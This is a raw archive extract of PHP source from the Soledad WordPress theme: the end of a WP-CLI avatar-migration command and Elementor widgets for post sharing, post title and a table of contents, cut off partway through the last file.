		$count = $this->migrate_from_wp_user_avatar();

		// Error out if we don't process any avatars.
		if ( 0 === absint( $count ) ) {
			WP_CLI::error( esc_html__( 'No avatars were migrated from WP User Avatar.', 'soledad' ) );
		}

		WP_CLI::success( sprintf( '%s: %s', esc_html__( 'Number of avatars successfully migrated from WP User Avatar', 'soledad' ), esc_html( $count ) ) );
	}
}
PK     N\#A  A  .  inc/template-builder/single-elements/share.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleShare extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Social Share', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-share-arrow';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'comment', 'share' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-share elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-share';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$share_style = [];
		for ( $i = 1; $i <= 23; $i ++ ) {
			$v                      = $i < 4 ? 's' : 'n';
			$n                      = $i < 4 ? $i : $i - 3;
			$share_style[ $v . $n ] = 'Style ' . $i;
		}

		$this->add_control( 'penci_single_style_cscount', [
			'label'   => esc_html__( 'Share Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 's1',
			'options' => $share_style
		] );

		$this->add_control( 'penci_post_share_disbtnplus', [
			'label' => esc_html__( 'Hide Plus Button?', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_single_meta_comment', [
			'label'     => esc_html__( 'Hide Comment?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'condition' => [ 'penci_single_style_cscount' => [ 's1', 's2', 's3' ] ],
		] );

		$this->add_control( 'penci_single_share_label', [
			'label'     => esc_html__( 'Hide Share Label?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'condition' => [ 'penci_single_style_cscount!' => [ 's1', 's2', 's3' ] ],
			'selectors' => [ '{{WRAPPER}} .penci-social-share-text' => 'display:none !important' ],
		] );

		$this->add_control( 'penci__hide_share_plike', [
			'label' => esc_html__( 'Hide Post Like?', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'meta_align', [
			'label'     => __( 'Social Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'default'   => 'left',
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .tags-share-box' => 'text-align:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'label_style', [
			'label'     => esc_html__( 'Colors', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_share_label!' => [ 'yes' ] ],
		] );

		$this->add_control( 'comment_text_color', [
			'label'     => 'Comment Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .single-comment-o'                       => 'color:{{VALUE}}',
				'{{WRAPPER}} .tags-share-box .single-comment-o:after' => 'background-color:{{VALUE}};opacity: 0.5;'
			],
			'condition' => [ 'penci_single_style_cscount' => [ 's1' ] ],
		] );

		$this->add_control( 'label_color', [
			'label'     => 'Share Label Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcnew-share .penci-social-share-text,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .penci-social-share-text' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'label_icolor', [
			'label'     => 'Share Label Icon Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcnew-share .penci-social-share-text i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .penci-social-share-text i' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'label_bdcolor', [
			'label'     => 'Share Label Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcnew-share .penci-social-share-text'                 => 'border-color:{{VALUE}}',
				'{{WRAPPER}} .pcnew-share .penci-social-share-text:before'          => 'border-left-color:{{VALUE}}',
				'body.rtl {{WRAPPER}} .pcnew-share .penci-social-share-text:before' => 'border-left-color:transparent;border-right-color:{{VALUE}}',
			],
		] );

		$this->add_control( 'label_bgcolor', [
			'label'     => 'Share Label Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcnew-share .penci-social-share-text'                => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .pcnew-share .penci-social-share-text:after'          => 'border-left-color:{{VALUE}};',
				'body.rtl {{WRAPPER}} .pcnew-share .penci-social-share-text:after' => 'border-right-color:{{VALUE}};',
			],
		] );

		$this->add_control( 'like_btn_head', [
			'label' => 'Like Button',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'likebtn_bgcolor', [
			'label'     => 'Like Button Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-plike,{{WRAPPER}} .tags-share-box-n19.post-share a.penci-post-like,{{WRAPPER}} .tags-share-box-n20.post-share a.penci-post-like,{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike' => 'background-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount!' => [ 's1' ]
			],
		] );

		$this->add_control( 'likebtn_color', [
			'label'     => 'Like Button Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .black-ver .post-share-plike i,{{WRAPPER}} .post-share.tags-share-box-2_3.post-share .count-number-like,{{WRAPPER}} .tags-share-box.tags-share-box-2_3.post-share .post-share-item .penci-post-like,{{WRAPPER}} .pcnew-share.penci-icon-full .post-share-item.post-share-plike i,{{WRAPPER}} .tags-share-box-n19.pcnew-share.border-style .post-share-item.post-share-plike i, {{WRAPPER}} .tags-share-box-n20.pcnew-share.border-style .post-share-item.post-share-plike i, {{WRAPPER}} .tags-share-box-n20 .post-share-item.post-share-plike i,{{WRAPPER}} .penci-social-textcolored .post-share-plike i.fa-heart-o, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike .count-number-like,{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike .penci-post-like,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike .count-number-like,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike .penci-post-like' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'likebtn_bcolor', [
			'label'     => 'Like Button Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-plike,{{WRAPPER}} .pcnew-share .post-share-item.post-share-plike' => 'border-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [ 'n16', 'n17', 'n18', 'n19', 'n20', 'n21', 'n22', 'n23' ]
			],
		] );

		$this->add_control( 'social_color_head', [
			'label'     => 'Social Icons',
			'type'      => \Elementor\Controls_Manager::HEADING,
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_bgcolor', [
			'label'     => 'Social Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .black-ver .post-share-item,{{WRAPPER}} .black-ver .post-share-item i' => 'background-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n16',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_bghcolor', [
			'label'     => 'Social Hover Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover i' => 'background-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n16',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_color', [
			'label'     => 'Social Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .black-ver .post-share-item i,{{WRAPPER}} .show-txt.post-share a .dt-share' => 'color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_hcolor', [
			'label'     => 'Social Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .black-ver .post-share-item:hover i,{{WRAPPER}} .show-txt.post-share a:hover .dt-share' => 'color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [
					's1',
					's3',
					'n14',
					'n15',
					'n17',
					'n18',
					'n19',
					'n20',
					'n21',
					'n22',
					'n23'
				]
			],
		] );

		$this->add_control( 'social_bcolor', [
			'label'     => 'Social Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item,{{WRAPPER}} .pcnew-share.penci-icon-full.border-style .post-share-item i' => 'border-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [ 's1', 's3', 'n16', 'n17', 'n18', 'n19', 'n20', 'n21', 'n22', 'n23' ]
			],
		] );

		$this->add_control( 'social_bhcolor', [
			'label'     => 'Social Hover Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-item:hover,{{WRAPPER}} .pcnew-share.penci-icon-full.border-style .post-share-item:hover i' => 'border-color:{{VALUE}}' ],
			'condition' => [
				'penci_single_style_cscount' => [ 's1', 's3', 'n16', 'n17', 'n18', 'n19', 'n20', 'n21', 'n22', 'n23' ]
			],
		] );

		$this->add_control( 'plus_btn_head', [
			'label' => 'Plus Button',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_control( 'plus_btn_color', [
			'label'     => 'Plus Button Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-expand,{{WRAPPER}} .black-ver .post-share-expand i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand i' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'plus_btn_hcolor', [
			'label'     => 'Plus Button Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand:hover,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand:hover i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover i' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'plus_btn_bgcolor', [
			'label'     => 'Plus Button Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-expand,{{WRAPPER}} .black-ver .post-share-expand,{{WRAPPER}} .black-ver .post-share-expand i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand' => 'background-color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'plus_btn_bghcolor', [
			'label'     => 'Plus Button Background Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} a.post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover,{{WRAPPER}} .black-ver .post-share-expand:hover i,{{WRAPPER}} .tags-share-box.tags-share-box-2_3 .post-share-expand:hover,{{WRAPPER}} .penci-social-colored .post-share-item.post-share-expand:hover i, {{WRAPPER}} .tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand:hover' => 'background-color:{{VALUE}} !important' ],
		] );

		$this->end_controls_section();

	}

	protected function render() {

		$settings = $this->get_settings();

		$style_cscount    = $settings['penci_single_style_cscount'];
		$wrapper_class    = array();
		$wrapper_class[]  = 'tags-share-box';
		$wrapper_class[]  = is_page() ? 'page-share hide-tags' : 'single-post-share';
		$wrapper_class[]  = 'tags-share-box-' . $style_cscount;
		$wrapper_class_c1 = 's1' == $style_cscount ? ' center-box' : ' tags-share-box-2_3';
		$wrapper_class[]  = strpos( $style_cscount, 'n' ) !== false ? ' pcnew-share' : $wrapper_class_c1;

		if ( $settings['penci_post_share_disbtnplus'] ) {
			$wrapper_class[] = 'disable-btnplus';
		}

		if ( in_array( $style_cscount, [ 'n1', 'n3', 'n5', 'n8', 'n9', 'n10', 'n11', 'n12', 'n13', 'n19', 'n20' ] ) ) {
			$wrapper_class[] = ' penci-social-colored';
		}

		if ( in_array( $style_cscount, [
			'n1',
			'n3',
			'n5',
			'n8',
			'n9',
			'n10',
			'n11',
			'n12',
			'n13',
			'n14',
			'n16',
			'n19',
			'n20'
		] ) ) {
			$wrapper_class[] = ' penci-icon-full';
		}

		if ( in_array( $style_cscount, [ 'n2', 'n4', 'n6', 'n7', 'n9', 'n11', 'n13' ] ) ) {
			$wrapper_class[] = ' tags-share-box-s2';
		}

		if ( in_array( $style_cscount, [
			'n2',
			'n4',
			'n6',
			'n7',
			'n9',
			'n11',
			'n13',
			'n15',
			'n17',
			'n18',
			'n19',
			'n20'
		] ) ) {
			$wrapper_class[] = ' show-txt';
		}

		if ( in_array( $style_cscount, [ 'n3', 'n4', 'n18' ] ) ) {
			$wrapper_class[] = ' rounder';
		}

		if ( in_array( $style_cscount, [ 'n5', 'n6', 'n10', 'n11' ] ) ) {
			$wrapper_class[] = ' show-shadow';
		}

		if ( in_array( $style_cscount, [ 'n7' ] ) ) {
			$wrapper_class[] = ' focus-icon';
		}

		if ( in_array( $style_cscount, [ 'n8', 'n9', 'n10', 'n11', 'n12', 'n13' ] ) ) {
			$wrapper_class[] = ' size-large';
		}

		if ( in_array( $style_cscount, [ 'n9', 'n11', 'n13' ] ) ) {
			$wrapper_class[] = ' txt-below';
		}

		if ( in_array( $style_cscount, [ 'n12', 'n13' ] ) ) {
			$wrapper_class[] = ' no-spacing';
		}

		if ( in_array( $style_cscount, [ 'n14', 'n15' ] ) ) {
			$wrapper_class[] = ' black-ver';
		}

		if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18', 'n19', 'n20' ] ) ) {
			$wrapper_class[] = ' border-style';
		}

		if ( in_array( $style_cscount, [ 'n16', 'n17', 'n18' ] ) ) {
			$wrapper_class[] = ' penci-social-textcolored';
		}

		if ( in_array( $style_cscount, [ 'n19', 'n20' ] ) ) {
			$wrapper_class[] = ' full-border';
		}

		?>
        <div class="<?php echo esc_attr( implode( ' ', $wrapper_class ) ); ?> post-share<?php if ( $settings['penci__hide_share_plike'] ): echo ' hide-like-count'; endif; ?>">
			<?php
			if ( 's1' != $style_cscount ) {
				echo '<span class="penci-social-share-text">';
				echo '<i class="penciicon-sharing"></i>';
				echo penci_get_setting( 'penci_trans_share' ) ? do_shortcode( penci_get_setting( 'penci_trans_share' ) ) : 'Share';
				echo '</span>';
			}
			?>
			<?php if ( ! $settings['penci_single_meta_comment'] && 's1' == $style_cscount && ! is_page() ) : ?>
                <span class="single-comment-o"><?php penci_fawesome_icon( 'far fa-comment' ); ?><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></span>
			<?php endif; ?>

			<?php if ( ! $settings['penci__hide_share_plike'] && ! is_page() ): ?>
                <span class="post-share-item post-share-plike">
		            <?php echo penci_single_getPostLikeLink( get_the_ID() ); ?>
                    </span>
			<?php endif; ?>
			<?php penci_soledad_social_share(); ?>
        </div>
		<?php

	}
}
PK     N\7I    .  inc/template-builder/single-elements/title.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleTitle extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Title', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-site-title';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'title' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-ptitle elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-title';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'heading_markup', [
			'label'   => esc_html__( 'Title Markup', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'h1',
			'options' => [
				'h1' => 'H1',
				'h2' => 'H2',
				'h3' => 'H3',
				'h4' => 'H4',
				'h5' => 'H5',
				'h6' => 'H6',
			]
		] );

		$this->add_control( 'heading_align', [
			'label'   => __( 'Post Title Align', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::CHOOSE,
			'default' => 'left',
			'options' => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'  => true,
		] );

		$this->add_control( 'heading_line', [
			'label'     => __( 'Remove Heading Line', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .header-standard:after' => 'display:none',
				'{{WRAPPER}} .header-standard'       => 'padding:0;margin:0;',
			],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-title',
		) );

		$this->add_control( 'main-text-color', [
			'label'     => 'Post Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-title' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'main-text-gcolor-enable', [
			'label' => 'Enable Gradient Color for Post Title',
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_group_control( \Elementor\Group_Control_Background::get_type(), array(
			'name'      => 'main-text-gcolor',
			'label'     => __( 'Gradient Color', 'soledad' ),
			'types'     => array( 'gradient' ),
			'selector'  => '{{WRAPPER}} .post-title.single-post-title span',
			'condition' => [ 'main-text-gcolor-enable' => 'yes' ]
		) );

		$this->add_control( 'main-text-inlinecolor-e', [
			'label'     => 'Use Inline Background Color?',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [
				'{{WRAPPER}} .post-title' => 'background-color:var(--pcaccent-cl);display:inline;box-decoration-break: clone;padding: 3px 8px;',
				'{{WRAPPER}} .header-standard' => 'padding-top: 3px',
			],
		] );

		$this->add_control( 'main-text-inlinecolor', [
			'label'     => 'Inline Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-title' => 'background-color:{{VALUE}}' ],
			'condition' => ['main-text-inlinecolor-e'=>'yes']
		] );

		$this->add_control( 'main-text-inline-d', [
			'label'     => 'Inline Background Padding',
			'type'      => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => [ 'px'],
			'selectors' => [
				'{{WRAPPER}} .post-title' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				'{{WRAPPER}} .header-standard' => 'padding-top: {{TOP}}{{UNIT}}',
			],
			'condition' => ['main-text-inlinecolor-e'=>'yes']
		] );

		$this->add_control( 'heading-line-color', [
			'label'     => 'Heading Line Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .header-standard:after' => 'background-color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'heading-line-s', [
			'label'      => 'Heading Line Spacing with Title',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .header-standard' => 'padding-bottom:{{SIZE}}px;',
			],
		] );

		$this->add_control( 'heading-line-w', [
			'label'      => 'Heading Line Width',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 500 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .header-standard:after'              => 'width:{{SIZE}}px !important;',
				'{{WRAPPER}} .header-standard.align-center:after' => 'margin-left:calc({{SIZE}}px / 2 * -1)',
			],
		] );

		$this->add_control( 'heading-line-h', [
			'label'      => 'Heading Line Height',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 50 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .header-standard:after' => 'height:{{SIZE}}px !important;',
			],
		] );

		$this->end_controls_section();

	}

	protected function render() {
		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings      = $this->get_settings();
		$class         = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';
		$heading_tag   = $settings['heading_markup'];
		$heading_align = $settings['heading_align'];
		echo '<div class="header-standard align-' . $heading_align . $class . '"><' . $heading_tag . ' class="post-title single-post-title entry-title"><span>Demo Post Title</span></' . $heading_tag . '></div>';
	}

	protected function builder_content() {
		$settings      = $this->get_settings();
		$heading_tag   = $settings['heading_markup'];
		$heading_align = $settings['heading_align'];
		$class         = $settings['main-text-gcolor-enable'] ? ' gradient-enable' : '';
		echo '<div class="header-standard align-' . $heading_align . $class . '"><' . $heading_tag . ' class="post-title single-post-title entry-title"><span>' . get_the_title() . '</span></' . $heading_tag . '></div>';
	}
}
PK     N\ZfO"  O"  ,  inc/template-builder/single-elements/toc.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleToc extends \Elementor\Widget_Base {

	public function get_name() {
		return 'penci-single-toc';
	}

	public function get_title() {
		return esc_html__( 'Post - Table of Content', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-table-of-contents';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'toc', 'table' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_control(
			'html_tag',
			[
				'label'    => esc_html__( 'HTMl Tag', 'soledad' ),
				'type'     => \Elementor\Controls_Manager::SELECT2,
				'multiple' => true,
				'default'  => 'h2',
				'options'  => [
					'h1' => 'H1',
					'h2' => 'H2',
					'h3' => 'H3',
					'h4' => 'H4',
					'h5' => 'H5',
					'h6' => 'H6',
				]
			]
		);

		$this->add_control(
			'heading_title',
			[
				'label'   => esc_html__( 'Heading Title', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::TEXT,
				'default' => __( 'Table of content', 'soledad' )
			]
		);

		$this->add_control(
			'marker_view',
			[
				'label'   => esc_html__( 'Marker View', 'soledad' ),
				'type'    => \Elementor\Controls_Manager::SELECT,
				'default' => 'number',
				'options' => [
					'none'    => 'None',
					'number'  => 'Number',
					'bullets' => 'Bullets',
				]
			]
		);

		$this->add_responsive_control(
			'table_width',
			[
				'label'     => esc_html__( 'Table of Content Width', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 200,
						'max' => 1200,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'max-width: {{SIZE}}{{UNIT}};',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'color_style',
			[
				'label' => esc_html__( 'Color & Styles', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'toc-heading-genr-style',
			[
				'label' => 'General Style',
				'type'  => \Elementor\Controls_Manager::HEADING,
			]
		);

		$this->add_control(
			'toc-bg',
			[
				'label'     => 'General Background Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc-wrapper' => 'background-color:{{VALUE}}' ],
			]
		);

		$this->add_control(
			'toc-border-cl',
			[
				'label'     => 'General Borders Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc ol ol, {{WRAPPER}} .penci-toc ol li, {{WRAPPER}} .penci-toc ul li, {{WRAPPER}} .penci-toc ul ul, {{WRAPPER}} .penci-toc-wrapper .penci-toc-head' => 'border-color:{{VALUE}}' ],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'toc_typo',
				'label'    => __( 'Typography for Heading', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-toc-wrapper .penci-toc-head',
			)
		);

		$this->add_control(
			'toc-heading-color',
			[
				'label'     => 'Heading Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc-wrapper .penci-toc-head' => 'color:{{VALUE}}' ],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'toc_1st_class',
				'label'    => __( 'Typography for Parent Heading', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-toc ul a, {{WRAPPER}} .penci-toc ol a',
			)
		);

		$this->add_control(
			'toc_1st_color',
			[
				'label'     => 'Parent Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc ul > li > a, {{WRAPPER}} .penci-toc ol > li > a' => 'color:{{VALUE}}' ],
			]
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(), array(
				'name'     => 'toc_child_class',
				'label'    => __( 'Typography for Child Heading', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-toc ul ul a, {{WRAPPER}} .penci-toc ol ol a',
			)
		);

		$this->add_control(
			'toc_child_color',
			[
				'label'     => 'Child Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => [ '{{WRAPPER}} .penci-toc ul ul a, {{WRAPPER}} .penci-toc ol ol a' => 'color:{{VALUE}}' ],
			]
		);

		$this->end_controls_section();

	}

	protected function render() {
		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}
	}

	protected function preview_content() {
		$settings = $this->get_settings();
		$marker   = $settings['marker_view'];
		?>
        <div class="penci-toc-wrapper style-<?php echo esc_attr( $marker ); ?>">
            <div class="penci-toc-head"><?php echo esc_attr( $settings['heading_title'] ); ?></div>

            <nav class="js-toc penci-toc">
                <ol class="toc-list ">
                    <li class="toc-list-item is-active-li"><a href="#"
                                                              class="toc-link node-name--H2  is-active-link">Parent
                            Title</a>
                        <ol class="toc-list  is-collapsible">
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 1</a>
                            </li>
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 2</a>
                            </li>
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 3</a>
                            </li>
                        </ol>
                    </li>
                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H2 ">Parent Title</a></li>
                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H2 ">Parent Title</a>
                        <ol class="toc-list is-collapsible is-collapsed">
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 1</a>
                            </li>
                        </ol>
                    </li>
                    <li class="toc-list-item"><a href="#" class="toc-link node-name--H2 ">Parent Title</a>
                        <ol class="toc-list  is-collapsible is-collapsed">
                            <li class="toc-list-item"><a href="#" class="toc-link node-name--H3 ">Child name - 1</a>
                            </li>
